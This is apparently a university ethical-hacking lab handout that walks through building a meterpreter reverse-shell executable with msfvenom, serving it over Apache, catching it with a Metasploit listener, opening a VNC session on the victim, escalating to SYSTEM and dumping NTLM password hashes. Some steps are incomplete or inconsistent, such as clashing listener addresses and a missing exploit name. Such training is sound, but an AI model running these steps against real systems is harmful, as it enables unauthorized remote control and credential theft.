Eh Lab 8
Eh Lab 8
Yarmouk University
Faculty of IT
Lab #8
Lab Title: System Hacking -2 : Exploiting Client Side Vulnerabilities and Establishing a VNC Session
Lab objectives:
Requisites
Windows 10 / 7 machine.
Winrtgn = https://sourceforge.net/projects/rainbowtablesge/
Lab Scenario:
• Virtual Network Computing: is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol
(RFB) to remotely control another computer.
VNC enables attackers to remotely access and control computers targeted from another computer or mobile
device, wherever they are in the world.
At the same time, it is also used by network administrators and organizations throughout every industry sector for
a range of different scenarios and use cases, including providing IT desktop support to colleagues and friends, and
accessing systems and services on the move. Here, we will see how attackers can exploit vulnerabilities in target
systems to establish unauthorized VNC sessions and remotely control these targets.
Lab tasks:
Task#1
• Open a terminal window and type
msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f
exe LHOST=10.10.10.11 LPORT=444 -o /root/Desktop/Test.exe
and press Enter.
Now create a directory to share this file to victim’s machine, and provide the permissions
and copy the file from Desktop to shared location. To do that , follow the following steps:
Start the Apache server by typing service apache2 start and press Enter.
In the terminal window, type msfconsole and press Enter to start the Metasploit
Framework
Once the metasploit framework starts and you get a msf command line, type the following commands to
set up a listener:
Type use multi/handler and press Enter.
Type set payload windows/meterpreter/reverse_tcp and press Enter.
Type set LHOST 10.10.10.10 and press Enter.
Type set LPORT 444 and press Enter.
To start the listener, type run and press Enter.
With Kali Host:::: observe that one session is created or opened in the Meterpreter shell.
in the meterpreter command line type sysinfo and press Enter to get the system information of
the victim machine.
Type run vnc and press Enter to start a VNC session with the victim.
TightVNC: window appears with the victim Desktop showing in the window.
Task#2
• Once attackers gain access to the target system, they start looking for different ways to
escalate their privilege in the system.
• They can exploit vulnerability, design flaw or configuration oversight in the operating system
or software applications on the target system to gain elevated access to resources that are
normally protected from an application or user.
• The privilege escalation can be vertical or lateral.
This Task demonstrates the exploitation procedure enforced on a weakly patched Windows machine that
allows you to gain access to it through a meterpreter shell; and then employing privilege escalation
techniques to attain administrative privileges to the machine through meterpreter shell.
• Type the following commands to create a share folder and change permissions of the
executable:
Next to start the apache server, type the command service apache2 start in
terminal, and press Enter.
Type the command cp /root/Desktop/Exploit.exe /var/www/html/share/ in the
terminal, and press Enter.
In the terminal window, type msfconsole and press Enter to start the
Metasploit Framework.
Type use exploit/multi/handler and press Enter.
To get the Server username type getuid in the meterpreter command line and press Enter.
Type set SESSION 1 (1 is the current meterpreter session which was back grounded in this lab) and
press Enter.
Now that we have configured the exploit, our next step will be to set a payload and configure it.
Type set payload windows/meterpreter/reverse_tcp and press Enter to set the
meterpreter/reverse_tcp payload.
The next step is to configure this payload. To know all the options, you need to configure in the exploit,
type show options and press Enter.
To set the LHOST option, type set LHOST 10.10.10.11 and press Enter.
To set the TARGET option, type set TARGET 0 and press Enter. Then type
exploit
Check the current User ID status of meterpreter by issuing the getuid command.
Type getsystem and press Enter. Type getuid and press Enter. The meterpreter session is
now running with SYSTEM privileges (NT AUTHORITY\SYSTEM)
Now try to dump the password hashes by typing the command
run post/windows/gather/smart_hashdump and press Enter. This time, meterpreter
successfully extracted the NTLM hashes and displayed them in the terminal window.
Here is Password hash ,,,, can you recover the plaintext ???